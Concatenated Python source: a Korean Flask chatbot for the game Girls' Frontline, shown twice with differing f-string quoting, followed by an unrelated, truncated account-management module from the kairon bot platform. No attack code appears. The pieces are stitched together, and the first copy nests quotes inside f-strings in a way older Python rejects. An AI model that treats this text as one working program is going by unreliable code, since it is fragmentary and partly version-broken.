msg = "검색 결과가 없습니다."
else:
msg = "올바르지 않은 입력입니다."
extra_data = dict(user_status='장비 검색 페이지', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action='작전보고서 계산', src='홈', dest='작전보고서 계산')
def calc_report(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_calc_report, extra=extra_data)
return rp.calc_report
@chatter.rule(action='*', src='작전보고서 계산', dest='홈')
def calc_report_return(data):
re_match = re_rp_calc.match(data['content'].strip())
if re_match:
cur_lv, tar_lv, cur_xp, is_oath, is_fairy, hoc, hoc_lv = re_match.groups(default='')
cur_lv = int(cur_lv)
tar_lv = int(tar_lv)
cur_xp = int(cur_xp) if cur_xp else 0
is_oath = True if is_oath else False
is_fairy = True if is_fairy else False
hoc = True if hoc else False
hoc_lv = int(hoc_lv) if hoc_lv else 10
if cur_lv >= tar_lv or tar_lv > 120:
msg = '목표 레벨이 현재 레벨보다 낮거나 120을 넘습니다. 올바른 수치를 입력해주세요.'
elif tar_lv > 100 and (is_fairy or hoc):
msg = '요정 및 화력제대는 100레벨 이상의 계산을 지원하지 않습니다.'
else:
if hoc:
hoc_lv = 10 if hoc_lv > 10 or hoc_lv < 0 else hoc_lv
tar_lv = 100 if tar_lv > 100 else tar_lv
rp, hr = gfl_core.calc.exp_hoc(cur_lv, tar_lv, cur_xp, hoc_lv)
msg = '필요 특수 작전 보고서: {0}개\n소모시간: {1}시간\n소모 전지량: {2}개'.format(rp, hr, hr * 5)
else:
rp = gfl_core.calc.exp(int(cur_lv), int(tar_lv), int(cur_xp), is_oath, is_fairy)
msg = '필요 작전 보고서: {0}개'.format(rp)
else:
msg = "올바르지 않은 입력입니다."
extra_data = dict(user_status='작전보고서 계산', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action='유용한 정보 모음', src='홈', dest='유용한 정보')
def useful_info(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_useful_info, extra=extra_data)
return rp.useful_info
@chatter.rule(action='*', src='유용한 정보')
def useful_info_input(data):
if data['content'] == '돌아가기' or data['content'] not in rp.d_useful_info:
return cancel(data)
else:
return useful_info_return(data)
@chatter.rule(dest="유용한 정보")
def useful_info_return(data):
resp = rp.d_useful_info.get(data['content'], Text("오류 발생"))
extra_data = dict(user_status='유용한 정보', **data)
logger.info(resp['message']['text'], extra=extra_data)
return resp + rp.kb_useful_info
@chatter.rule(action='36베이스 바로가기', src='홈', dest='홈')
def go_to_36db(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_go_to_36db, extra=extra_data)
return rp.go_to_36db + chatter.home()
@chatter.rule(action='랭킹 집계', src='홈', dest='랭킹 집계')
def rank_poll(data):
last_data = rank.get_today(data["user_key"])
if last_data:
msg = rp.msg_rank_poll + (
"\n\n오늘({0}) 입력한 마지막 기록을 덮어씌웁니다.\n"
"{1}점, {2}%"
).format(*last_data[:3])
else:
msg = rp.msg_rank_poll
extra_data = dict(user_status='홈', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + rp.bt_info + Keyboard(type="text")
@chatter.rule(action="*", src="랭킹 집계", dest="홈")
def rank_poll_input(data):
re_match = re_rank_poll.match(data["content"].strip())
if re_match:
score, num, mode, comment = re_match.groups()
if 0 < int(num) <= 100:
if mode in {"등", "위"}:
percent, ranking = 0, int(num)
msg = "{0}점 {1}등으로 등록 완료했습니다. 감사합니다.".format(score, ranking)
else:
percent, ranking = int(num), 0
msg = "{0}점 {1}%으로 등록 완료했습니다. 감사합니다.".format(score, percent)
rank.log(data['user_key'], int(score), percent, ranking, comment)
else:
msg = rp.msg_rank_poll_err
else:
msg = (
"올바른 양식으로 입력해주세요. "
"만약 제대로 입력했는데 이 오류가 발생했다면, 관리자에게 알려주세요."
)
extra_data = dict(user_status='랭킹 집계', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + rp.bt_ranking_result + chatter.home()
@chatter.rule(action="대화하기", src="홈", dest="자유 입력")
def start_free_input(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_start_free_input, extra=extra_data)
return rp.start_free_input + Keyboard(type="text")
@chatter.rule(action="*", src="자유 입력")
def free_input_check(data):
if data['content'] in cancel_list:
return cancel(data)
elif data['content'][:2] in {'ㅇㅎ', '인형', '제조'}:
data['content'] = data['content'][2:]
return searched_doll(data)
elif data['content'][:2] in {'ㅈㅂ', '장비'}:
data['content'] = data['content'][2:]
return searched_equip(data)
elif data['type'] == 'photo':
return photo_input(data)
else:
return free_input(data)
@chatter.rule(dest="자유 입력")
def free_input(data):
res = core.find_nickname(data["content"].strip(), "", "ko-KR")
res_special = core.special(data["content"].strip())
if res:
if isinstance(res, tuple):
msg = Text(rp.f_msg_free_input_info[res[0]].format(**res[1])) + MessageButton("상세 정보", res[1]['link'])
if "photo" in res[1]:
msg += Photo(**res[1]["photo"])
adv = Keyboard(type="text")
else:
msg = Text("무엇을 찾으셨나요?")
adv = Keyboard(buttons=res)
elif res_special:
msg = Message(**res_special)
adv = Keyboard(type="text")
elif data['content'] == '끝말잇기':
msg = Text("끝말잇기를 시작하겠습니다.\n\n새벽녘")
adv = Keyboard(['내가 졌다', '항복', '모르겠는걸?'])
else:
msg = Text("잘 모르겠습니다. 다시 입력해주세요.")
msg += MessageButton(
label="모르는 말 알려주기",
url=f"https://kakao-learn.gfl.kr/start?message={urllib.parse.quote(data["content"].strip())}"
)
adv = Keyboard(type="text")
extra_data = dict(user_status='자유 입력', **data)
logger.info(msg['message'].get('text', msg['message'].get('photo', {"url": ""})['url']), extra=extra_data)
return msg + adv
@chatter.rule(dest="자유 입력")
def photo_input(data):
result = kv.detect_adult(data['content'])
if 'result' in result:
res = result['result']
if res['adult'] > res['soft'] and res['adult'] > res['normal']:
msg = f"성인 이미지일 확률이 {res["adult"] * 100:0.01f}% 입니다."
elif res['soft'] > res['adult'] and res['soft'] > res['normal']:
msg = f"노출이 있는 이미지일 확률이 {res["soft"] * 100:0.01f}% 입니다."
else:
msg = f"건전한 이미지일 확률이 {res["normal"] * 100:0.01f}% 입니다."
else:
msg = f"오류가 발생하였습니다.\n{result["msg"]}"
extra_data = dict(user_status='자유 입력', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + Keyboard(type='text')
@chatter.rule(dest='홈')
def cancel(data):
msg = '기본 화면으로 돌아갑니다.'
extra_data = dict(user_status='*', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action="*", src="홈", dest="홈")
def fallback(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_fallback, extra=extra_data)
return rp.fallback + chatter.home()
# ##################
# Flask Func
@application.route('/keyboard', methods=['GET', 'HEAD'])
def keyboard():
return jsonify(chatter.home())
@application.route('/message', methods=['POST'])
def message():
return jsonify(chatter.route(request.json))
@application.route('/friend', methods=['POST'])
def add_friend():
return jsonify({'message': 'SUCCESS'})
@application.route('/friend/<key>', methods=['DELETE'])
def block_friend(key):
return jsonify({'message': 'SUCCESS'})
@application.route('/chat_room/<key>', methods=['DELETE'])
def exit_friend(key):
return jsonify({'message': 'SUCCESS'})
if __name__ == '__main__':
application.run(debug=True, host='0.0.0.0')
| from flask import Flask, request, jsonify
from chatterbox import *
import girlsfrontline_core_python as gfl_core
import re
import logging
import json
import urllib
import pymysql
from logging_db import MySQLHandler
from ranking_poll import EventRankPoll
import static_resp as rp
import kakao_vision as kv
application = Flask(__name__)
chatter = Chatter(memory='sqlite',
frequency=10,
fallback=False)
cf = json.load(open("config.json", "r", encoding="utf-8"))
# MySQL Connection
conn = pymysql.connect(**cf["MySQL"])
# Logging 모듈 설정
logger = logging.getLogger("main")
logger.setLevel(logging.INFO)
# 핸들러 설정 및 추가
db_handler = MySQLHandler(conn)
logger.addHandler(db_handler)
# 정규식 컴파일
re_build_time = re.compile(r"^([0-9]{1,2})?[ :]?([0-5][0-9])$")
re_rp_calc = re.compile(
r"([0-9]{1,3})[ ,.]([0-9]{1,3})[ ,.]?([0-9]+)?[ ,.]?(서약|ㅅㅇ)?[ ,.]?(요정|ㅇㅈ)?([화ㅎ][력ㄹ]([1]?[0-9])?)?"
)
re_rank_poll = re.compile(r"([0-9]{0,6})[점]? ([0-9]{1,3})(퍼센트|퍼|%|등|)[ ]?(.+)?$")
cancel_list = {'돌아가기', '취소', '종료', '잘가', 'ㅂㅂ', '꺼져', '뒤로', '뒤로가기', '나가기'}
# RankingPoll
rank = EventRankPoll(conn)
# girlsfrontline_core_python
core = gfl_core.core.Core(cf['gfl_core']['dir'])
kv.APP_KEY = cf['kakao_vision']['app_key']
# Chatterbox
# 초기 화면 설정
@chatter.base(name='홈')
def home_keyboard():
return rp.kb_home
# src = 현재 상태(status)
# action = 유저가 입력한 것
# dest = 다음 상태(status)
@chatter.rule(action='인형 검색', src='홈', dest='인형 검색 페이지')
def search_doll(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_search_doll, extra=extra_data)
return rp.search_doll
@chatter.rule(action='*', src='인형 검색 페이지')
def searched_doll(data):
re_match = re_build_time.match(data['content'].strip())
res = core.find_nickname(data['content'].strip(), 'doll')
if data['content'] in cancel_list:
return cancel(data)
elif re_match:
b_hour, b_min = re_match.groups(default='0')
build_time = int(b_hour) * 3600 + int(b_min) * 60
# searched(dict): 코어에서 나온 객체들
searched = [core.l10n("ko-KR", "doll", n) for n in core.doll.build_time.get(build_time, {})]
if searched and build_time > 0:
if len(searched) == 1:
msg = Text(rp.f_msg_free_input_info["doll"].format(**searched[0]))
msg += MessageButton("상세 정보", searched[0]['link'])
msg += Photo(**searched[0]["photo"])
adv = Keyboard(type="text")
else:
dolls = ["{name}: {rank}성 {Type}".format(**n) for n in searched]
msg = Text("찾은 인형 목록:\n{0}".format("\n".join(dolls)))
adv = Keyboard([n['name'] for n in searched] + ["돌아가기"])
else:
msg = Text("검색 결과가 없습니다.")
adv = Keyboard(type='text')
elif res:
if isinstance(res, tuple):
msg = Text(rp.f_msg_free_input_info[res[0]].format(**res[1])) + MessageButton("상세 정보", res[1]['link'])
msg += Photo(**res[1]["photo"])
adv = Keyboard(type="text")
else:
msg = Text("무엇을 찾으셨나요?")
adv = Keyboard(buttons=res)
else:
msg = Text("올바르지 않은 입력입니다.")
adv = Keyboard(type='text')
extra_data = dict(user_status='인형 검색 페이지', **data)
logger.info(msg.text if isinstance(msg, Text) else msg.text.text, extra=extra_data)
return msg + adv
@chatter.rule(action='장비 검색', src='홈', dest='장비 검색 페이지')
def search_equip(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_search_equip, extra=extra_data)
return rp.search_equip
@chatter.rule(action='*', src='장비 검색 페이지', dest='홈')
def searched_equip(data):
re_match = re_build_time.match(data['content'].strip())
if re_match:
b_hour, b_min = re_match.groups('0')
build_time = int(b_hour) * 3600 + int(b_min) * 60
if build_time < 3600:
searched = [core.l10n("ko-KR", "equip", n) for n in core.equip.build_time.get(build_time, {})]
equips = ["{name}: {rank}성 {category_name}".format(**n) for n in searched]
else:
searched = [core.l10n("ko-KR", "fairy", n) for n in core.fairy.build_time.get(build_time, {})]
equips = ["{name}".format(**n) for n in searched]
if equips and build_time > 0:
msg = "찾은 장비/요정 목록:\n{0}".format("\n".join(equips))
else:
msg = "검색 결과가 없습니다."
else:
msg = "올바르지 않은 입력입니다."
extra_data = dict(user_status='장비 검색 페이지', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action='작전보고서 계산', src='홈', dest='작전보고서 계산')
def calc_report(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_calc_report, extra=extra_data)
return rp.calc_report
@chatter.rule(action='*', src='작전보고서 계산', dest='홈')
def calc_report_return(data):
re_match = re_rp_calc.match(data['content'].strip())
if re_match:
cur_lv, tar_lv, cur_xp, is_oath, is_fairy, hoc, hoc_lv = re_match.groups(default='')
cur_lv = int(cur_lv)
tar_lv = int(tar_lv)
cur_xp = int(cur_xp) if cur_xp else 0
is_oath = True if is_oath else False
is_fairy = True if is_fairy else False
hoc = True if hoc else False
hoc_lv = int(hoc_lv) if hoc_lv else 10
if cur_lv >= tar_lv or tar_lv > 120:
msg = '목표 레벨이 현재 레벨보다 낮거나 120을 넘습니다. 올바른 수치를 입력해주세요.'
elif tar_lv > 100 and (is_fairy or hoc):
msg = '요정 및 화력제대는 100레벨 이상의 계산을 지원하지 않습니다.'
else:
if hoc:
hoc_lv = 10 if hoc_lv > 10 or hoc_lv < 0 else hoc_lv
tar_lv = 100 if tar_lv > 100 else tar_lv
rp, hr = gfl_core.calc.exp_hoc(cur_lv, tar_lv, cur_xp, hoc_lv)
msg = '필요 특수 작전 보고서: {0}개\n소모시간: {1}시간\n소모 전지량: {2}개'.format(rp, hr, hr * 5)
else:
rp = gfl_core.calc.exp(int(cur_lv), int(tar_lv), int(cur_xp), is_oath, is_fairy)
msg = '필요 작전 보고서: {0}개'.format(rp)
else:
msg = "올바르지 않은 입력입니다."
extra_data = dict(user_status='작전보고서 계산', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action='유용한 정보 모음', src='홈', dest='유용한 정보')
def useful_info(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_useful_info, extra=extra_data)
return rp.useful_info
@chatter.rule(action='*', src='유용한 정보')
def useful_info_input(data):
if data['content'] == '돌아가기' or data['content'] not in rp.d_useful_info:
return cancel(data)
else:
return useful_info_return(data)
@chatter.rule(dest="유용한 정보")
def useful_info_return(data):
resp = rp.d_useful_info.get(data['content'], Text("오류 발생"))
extra_data = dict(user_status='유용한 정보', **data)
logger.info(resp['message']['text'], extra=extra_data)
return resp + rp.kb_useful_info
@chatter.rule(action='36베이스 바로가기', src='홈', dest='홈')
def go_to_36db(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_go_to_36db, extra=extra_data)
return rp.go_to_36db + chatter.home()
@chatter.rule(action='랭킹 집계', src='홈', dest='랭킹 집계')
def rank_poll(data):
last_data = rank.get_today(data["user_key"])
if last_data:
msg = rp.msg_rank_poll + (
"\n\n오늘({0}) 입력한 마지막 기록을 덮어씌웁니다.\n"
"{1}점, {2}%"
).format(*last_data[:3])
else:
msg = rp.msg_rank_poll
extra_data = dict(user_status='홈', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + rp.bt_info + Keyboard(type="text")
@chatter.rule(action="*", src="랭킹 집계", dest="홈")
def rank_poll_input(data):
re_match = re_rank_poll.match(data["content"].strip())
if re_match:
score, num, mode, comment = re_match.groups()
if 0 < int(num) <= 100:
if mode in {"등", "위"}:
percent, ranking = 0, int(num)
msg = "{0}점 {1}등으로 등록 완료했습니다. 감사합니다.".format(score, ranking)
else:
percent, ranking = int(num), 0
msg = "{0}점 {1}%으로 등록 완료했습니다. 감사합니다.".format(score, percent)
rank.log(data['user_key'], int(score), percent, ranking, comment)
else:
msg = rp.msg_rank_poll_err
else:
msg = (
"올바른 양식으로 입력해주세요. "
"만약 제대로 입력했는데 이 오류가 발생했다면, 관리자에게 알려주세요."
)
extra_data = dict(user_status='랭킹 집계', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + rp.bt_ranking_result + chatter.home()
@chatter.rule(action="대화하기", src="홈", dest="자유 입력")
def start_free_input(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_start_free_input, extra=extra_data)
return rp.start_free_input + Keyboard(type="text")
@chatter.rule(action="*", src="자유 입력")
def free_input_check(data):
if data['content'] in cancel_list:
return cancel(data)
elif data['content'][:2] in {'ㅇㅎ', '인형', '제조'}:
data['content'] = data['content'][2:]
return searched_doll(data)
elif data['content'][:2] in {'ㅈㅂ', '장비'}:
data['content'] = data['content'][2:]
return searched_equip(data)
elif data['type'] == 'photo':
return photo_input(data)
else:
return free_input(data)
@chatter.rule(dest="자유 입력")
def free_input(data):
res = core.find_nickname(data["content"].strip(), "", "ko-KR")
res_special = core.special(data["content"].strip())
if res:
if isinstance(res, tuple):
msg = Text(rp.f_msg_free_input_info[res[0]].format(**res[1])) + MessageButton("상세 정보", res[1]['link'])
if "photo" in res[1]:
msg += Photo(**res[1]["photo"])
adv = Keyboard(type="text")
else:
msg = Text("무엇을 찾으셨나요?")
adv = Keyboard(buttons=res)
elif res_special:
msg = Message(**res_special)
adv = Keyboard(type="text")
elif data['content'] == '끝말잇기':
msg = Text("끝말잇기를 시작하겠습니다.\n\n새벽녘")
adv = Keyboard(['내가 졌다', '항복', '모르겠는걸?'])
else:
msg = Text("잘 모르겠습니다. 다시 입력해주세요.")
msg += MessageButton(
label="모르는 말 알려주기",
url=f"https://kakao-learn.gfl.kr/start?message={urllib.parse.quote(data['content'].strip())}"
)
adv = Keyboard(type="text")
extra_data = dict(user_status='자유 입력', **data)
logger.info(msg['message'].get('text', msg['message'].get('photo', {"url": ""})['url']), extra=extra_data)
return msg + adv
@chatter.rule(dest="자유 입력")
def photo_input(data):
result = kv.detect_adult(data['content'])
if 'result' in result:
res = result['result']
if res['adult'] > res['soft'] and res['adult'] > res['normal']:
msg = f"성인 이미지일 확률이 {res['adult'] * 100:0.01f}% 입니다."
elif res['soft'] > res['adult'] and res['soft'] > res['normal']:
msg = f"노출이 있는 이미지일 확률이 {res['soft'] * 100:0.01f}% 입니다."
else:
msg = f"건전한 이미지일 확률이 {res['normal'] * 100:0.01f}% 입니다."
else:
msg = f"오류가 발생하였습니다.\n{result['msg']}"
extra_data = dict(user_status='자유 입력', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + Keyboard(type='text')
@chatter.rule(dest='홈')
def cancel(data):
msg = '기본 화면으로 돌아갑니다.'
extra_data = dict(user_status='*', **data)
logger.info(msg, extra=extra_data)
return Text(msg) + chatter.home()
@chatter.rule(action="*", src="홈", dest="홈")
def fallback(data):
extra_data = dict(user_status='홈', **data)
logger.info(rp.msg_fallback, extra=extra_data)
return rp.fallback + chatter.home()
# ##################
# Flask Func
@application.route('/keyboard', methods=['GET', 'HEAD'])
def keyboard():
return jsonify(chatter.home())
@application.route('/message', methods=['POST'])
def message():
return jsonify(chatter.route(request.json))
@application.route('/friend', methods=['POST'])
def add_friend():
return jsonify({'message': 'SUCCESS'})
@application.route('/friend/<key>', methods=['DELETE'])
def block_friend(key):
return jsonify({'message': 'SUCCESS'})
@application.route('/chat_room/<key>', methods=['DELETE'])
def exit_friend(key):
return jsonify({'message': 'SUCCESS'})
if __name__ == '__main__':
application.run(debug=True, host='0.0.0.0')
|
from datetime import datetime
from typing import Dict, Text
from loguru import logger as logging
from mongoengine.errors import DoesNotExist
from mongoengine.errors import ValidationError
from pydantic import SecretStr
from validators import ValidationFailure
from validators import email as mail_check
from kairon.exceptions import AppException
from kairon.shared.account.data_objects import Account, User, Bot, UserEmailConfirmation, Feedback, UiConfig, \
MailTemplates, SystemProperties, BotAccess
from kairon.shared.actions.data_objects import FormValidationAction, SlotSetAction, EmailActionConfig
from kairon.shared.data.constant import ACCESS_ROLES, ACTIVITY_STATUS
from kairon.shared.data.data_objects import BotSettings, ChatClientConfig, SlotMapping
from kairon.shared.utils import Utility
Utility.load_email_configuration()
class AccountProcessor:
@staticmethod
def add_account(name: str, user: str):
"""
adds a new account
:param name: account name
:param user: user id
:return: account id
"""
if Utility.check_empty_string(name):
raise AppException("Account Name cannot be empty or blank spaces")
Utility.is_exist(
Account,
exp_message="Account name already exists!",
name__iexact=name,
status=True,
)
license = {"bots": 2, "intents": 3, "examples": 20, "training": 3, "augmentation": 5}
return Account(name=name.strip(), user=user, license=license).save().to_mongo().to_dict()
@staticmethod
def get_account(account: int):
"""
fetch account object
:param account: account id
:return: account details
"""
try:
account = Account.objects().get(id=account).to_mongo().to_dict()
return account
except:
raise DoesNotExist("Account does not exists")
@staticmethod
def add_bot(name: str, account: int, user: str, is_new_account: bool = False):
"""
add a bot to account
:param name: bot name
:param account: account id
:param user: user id
:param is_new_account: True if it is a new account
:return: bot id
"""
from kairon.shared.data.processor import MongoProcessor
from kairon.shared.data.data_objects import BotSettings
if Utility.check_empty_string(name):
raise AppException("Bot Name cannot be empty or blank spaces")
if Utility.check_empty_string(user):
raise AppException("user cannot be empty or blank spaces")
Utility.is_exist(
Bot,
exp_message="Bot already exists!",
name__iexact=name,
account=account,
status=True,
)
bot = Bot(name=name, account=account, user=user).save().to_mongo().to_dict()
bot_id = bot['_id'].__str__()
if not is_new_account:
AccountProcessor.allow_access_to_bot(bot_id, user, user, account, ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
BotSettings(bot=bot_id, user=user).save()
processor = MongoProcessor()
config = processor.load_config(bot_id)
processor.add_or_overwrite_config(config, bot_id, user)
processor.add_default_fallback_data(bot_id, user, True, True)
return bot
@staticmethod
def list_bots(account_id: int):
for bot in Bot.objects(account=account_id, status=True):
bot = bot.to_mongo().to_dict()
bot.pop('status')
bot['_id'] = bot['_id'].__str__()
yield bot
@staticmethod
def update_bot(name: Text, bot: Text):
if Utility.check_empty_string(name):
raise AppException('Name cannot be empty')
try:
bot_info = Bot.objects(id=bot, status=True).get()
bot_info.name = name
bot_info.save()
except DoesNotExist:
raise AppException('Bot not found')
@staticmethod
def delete_bot(bot: Text, user: Text):
from kairon.shared.data.data_objects import Intents, Responses, Stories, Configs, Endpoints, Entities, \
EntitySynonyms, Forms, LookupTables, ModelDeployment, ModelTraining, RegexFeatures, Rules, SessionConfigs, \
Slots, TrainingDataGenerator, TrainingExamples
from kairon.shared.test.data_objects import ModelTestingLogs
from kairon.shared.importer.data_objects import ValidationLogs
from kairon.shared.actions.data_objects import HttpActionConfig, ActionServerLogs, Actions
try:
bot_info = Bot.objects(id=bot, status=True).get()
bot_info.status = False
bot_info.save()
Utility.hard_delete_document([
Actions, BotAccess, BotSettings, Configs, ChatClientConfig, Endpoints, Entities, EmailActionConfig,
EntitySynonyms, Forms, FormValidationAction, HttpActionConfig, Intents, LookupTables, RegexFeatures,
Responses, Rules, SlotMapping, SlotSetAction, SessionConfigs, Slots, Stories, TrainingDataGenerator,
TrainingExamples, ActionServerLogs, ModelTraining, ModelTestingLogs, ModelDeployment, ValidationLogs
], bot, user=user)
AccountProcessor.remove_bot_access(bot)
except DoesNotExist:
raise AppException('Bot not found')
@staticmethod
def fetch_role_for_user(email: Text, bot: Text):
try:
return BotAccess.objects(accessor_email=email, bot=bot,
status=ACTIVITY_STATUS.ACTIVE.value).get().to_mongo().to_dict()
except DoesNotExist as e:
logging.error(e)
raise AppException('Access to bot is denied')
@staticmethod
def get_accessible_bot_details(account_id: int, email: Text):
shared_bots = []
account_bots = list(AccountProcessor.list_bots(account_id))
for bot in BotAccess.objects(accessor_email=email, bot_account__ne=account_id,
status=ACTIVITY_STATUS.ACTIVE.value):
bot_details = AccountProcessor.get_bot(bot['bot'])
bot_details.pop('status')
bot_details['_id'] = bot_details['_id'].__str__()
shared_bots.append(bot_details)
return {
'account_owned': account_bots,
'shared': shared_bots
}
@staticmethod
def allow_bot_and_generate_invite_url(bot: Text, email: Text, user: Text, bot_account: int,
role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value):
bot_details = AccountProcessor.allow_access_to_bot(bot, email, user, bot_account, role)
if Utility.email_conf["email"]["enable"]:
token = Utility.generate_token(email)
link = f'{Utility.email_conf['app']['url']}/{bot}/invite/accept/{token}'
return bot_details['name'], link
@staticmethod
def allow_access_to_bot(bot: Text, accessor_email: Text, user: Text,
bot_account: int, role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value,
activity_status: ACTIVITY_STATUS = ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value):
"""
Adds bot to a user account.
:param bot: bot id
:param accessor_email: email id of the new member
:param user: user adding the new member
:param bot_account: account where bot exists
:param activity_status: can be one of active, inactive or deleted.
:param role: can be one of admin, designer or tester.
"""
bot_details = AccountProcessor.get_bot(bot)
Utility.is_exist(BotAccess, 'User is already a collaborator', accessor_email=accessor_email, bot=bot,
status__ne=ACTIVITY_STATUS.DELETED.value)
BotAccess(
accessor_email=accessor_email,
bot=bot,
role=role,
user=user,
bot_account=bot_account,
status=activity_status
).save()
return bot_details
@staticmethod
def update_bot_access(bot: Text, accessor_email: Text, user: Text,
role: ACCESS_ROLES = ACCESS_ROLES.TESTER.value,
status: ACTIVITY_STATUS = ACTIVITY_STATUS.ACTIVE.value):
"""
Adds bot to a user account.
:param bot: bot id
:param accessor_email: email id of the new member
:param user: user adding the new member
:param role: can be one of admin, designer or tester.
:param status: can be one of active, inactive or deleted.
"""
AccountProcessor.get_bot(bot)
try:
bot_access = BotAccess.objects(accessor_email=accessor_email, bot=bot).get()
if Utility.email_conf["email"]["enable"]:
if status != ACTIVITY_STATUS.DELETED.value and bot_access.status == ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value:
raise AppException('User is yet to accept the invite')
bot_access.role = role
bot_access.user = user
bot_access.status = status
bot_access.timestamp = datetime.utcnow()
bot_access.save()
except DoesNotExist:
raise AppException('User not yet invited to collaborate')
@staticmethod
def accept_bot_access_invite(token: Text, bot: Text):
"""
Activate user's access to bot.
:param token: token sent in the link
:param bot: bot id
"""
bot_details = AccountProcessor.get_bot(bot)
accessor_email = Utility.verify_token(token)
AccountProcessor.get_user_details(accessor_email)
try:
bot_access = BotAccess.objects(accessor_email=accessor_email, bot=bot,
status=ACTIVITY_STATUS.INVITE_NOT_ACCEPTED.value).get()
bot_access.status = ACTIVITY_STATUS.ACTIVE.value
bot_access.accept_timestamp = datetime.utcnow()
bot_access.save()
return bot_access.user, bot_details['name'], bot_access.accessor_email, bot_access.role
except DoesNotExist:
raise AppException('No pending invite found for this bot and user')
@staticmethod
def remove_bot_access(bot: Text, **kwargs):
"""
Removes bot from either for all users or only for user supplied.
:param bot: bot id
:param kwargs: can be either account or email.
"""
if kwargs:
if not Utility.is_exist(BotAccess, None, False, **kwargs, bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value):
raise AppException('User not a collaborator to this bot')
active_bot_access = BotAccess.objects(**kwargs, bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value)
else:
active_bot_access = BotAccess.objects(bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value)
active_bot_access.update(set__status=ACTIVITY_STATUS.DELETED.value)
@staticmethod
def list_bot_accessors(bot: Text):
"""
List users who have access to bot.
:param bot: bot id
"""
for accessor in BotAccess.objects(bot=bot, status__ne=ACTIVITY_STATUS.DELETED.value):
accessor = accessor.to_mongo().to_dict()
accessor['_id'] = accessor['_id'].__str__()
yield accessor
@staticmethod
def get_bot(id: str):
"""
fetches bot details
:param id: bot id
:return: bot details
"""
try:
return Bot.objects().get(id=id).to_mongo().to_dict()
except:
raise DoesNotExist("Bot does not exists!")
@staticmethod
def add_user(
email: str,
password: str,
first_name: str,
last_name: str,
account: int,
user: str,
is_integration_user=False
):
"""
adds new user to the account
:param email: user login id
:param password: user password
:param first_name: user firstname
:param last_name: user lastname
:param account: account id
:param user: user id
:param is_integration_user: is this
:return: user details
"""
if (
Utility.check_empty_string(email)
or Utility.check_empty_string(last_name)
or Utility.check_empty_string(first_name)
or Utility.check_empty_string(password)
):
raise AppException(
"Email, FirstName, LastName and password cannot be empty or blank spaces"
)
Utility.is_exist(
User,
exp_message="User already exists! try with different email address.",
email__iexact=email.strip(),
status=True,
)
return (
User(
email=email.strip(),
password=Utility.get_password_hash(password.strip()),
first_name=first_name.strip(),
last_name=last_name.strip(),
account=account,
user=user.strip(),
is_integration_user=is_integration_user,
)
.save()
.to_mongo()
.to_dict()
)
@staticmethod
def get_user(email: str):
"""
fetch user details
:param email: user login id
:return: user details
"""
try:
return User.objects().get(email=email).to_mongo().to_dict()
except Exception as e:
logging.error(e)
raise DoesNotExist("User does not exist!")
@staticmethod
def get_user_details(email: str):
"""
fetches complete user details, checks for whether it is inactive
:param email: login id
:return: dict
"""
user = AccountProcessor.get_user(email)
if not user["is_integration_user"]:
AccountProcessor.check_email_confirmation(user["email"])
if not user["status"]:
raise ValidationError("Inactive User please contact admin!")
account = AccountProcessor.get_account(user["account"])
if not account["status"]:
raise ValidationError("Inactive Account Please contact system admin!")
return user
@staticmethod
def get_complete_user_details(email: str):
"""
fetches complete user details including account and bot
:param email: login id
:return: dict
"""
user = AccountProcessor.get_user(email)
account = AccountProcessor.get_account(user["account"])
bots = AccountProcessor.get_accessible_bot_details(user["account"], email)
user["account_name"] = account["name"]
user['bots'] = bots
user["_id"] = user["_id"].__str__()
user.pop('password')
return user
@staticmethod
def get_integration_user(bot: str, account: int):
"""
creates integration user if it does not exist
:param bot: bot id
:param account: account id
:return: dict
"""
email = f"{bot}@integration.com"
if not Utility.is_exist(
User, raise_error=False, email=email, is_integration_user=True, status=True
):
password = Utility.generate_password()
user_details = AccountProcessor.add_user(
email=email,
password=password,
first_name=bot,
last_name=bot,
account=account,
user="auto_gen",
is_integration_user=True,
)
AccountProcessor.allow_access_to_bot(bot, email.strip(), "auto_gen", account,
ACCESS_ROLES.ADMIN.value, ACTIVITY_STATUS.ACTIVE.value)
return user_details
else:
return (
User.objects(email=email).get(is_integration_user=True).to_mongo().to_dict()
)
@staticmethod
async def account_setup(account_setup: Dict, user: Text):
"""
create new account
:param account_setup: dict of account details
:param user: user id
:return: dict user details, user email id, confirmation mail subject, mail body
"""
from kairon.shared.data.processor import MongoProcessor
account = None
bot = None
mail_to = None
email_enabled = Utility.email_conf["email"]["enable"]
link = None
try:
account = AccountProcessor.add_account(account_setup.get("account"), user)
bot = AccountProcessor.add_bot('Hi-Hello', account["_id"], user, True)
user_details = AccountProcessor.add_user(
email=account_setup.get("email"),
first_name=account_setup.get("first_name"),
last_name=account_setup.get("last_name"),
password=account_setup.get("password").get_secret_value(),
account=account["_id"].__str__(),
user=user
)
